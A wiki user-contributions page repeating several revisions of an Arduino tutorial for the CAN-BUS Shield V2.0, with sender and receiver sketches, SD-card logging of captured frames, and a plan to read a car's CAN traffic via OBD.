Elvis Wiki - User contributions [en]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T18:32:52Z

NStrasser: NStrasser moved page Creating CAN-BUS Shield V2.0 to Creating CAN-BUS Shield V2.0 Tutorial over redirect

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|750px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T18:32:38Z

NStrasser: NStrasser moved page Creating CAN-BUS Shield V2.0 Tutorial to Creating CAN-BUS Shield V2.0

CAN-BUS Shield V2.0

2021-02-24T18:31:27Z

NStrasser: NStrasser moved page CAN-BUS Shield V2.0 to Creating CAN-BUS Shield V2.0 Tutorial

#REDIRECT [[Creating CAN-BUS Shield V2.0 Tutorial]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T18:31:27Z

NStrasser: NStrasser moved page CAN-BUS Shield V2.0 to Creating CAN-BUS Shield V2.0 Tutorial

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T18:29:55Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T18:27:31Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|750px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0 Tutorial]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T08:22:50Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|750px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T08:20:45Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
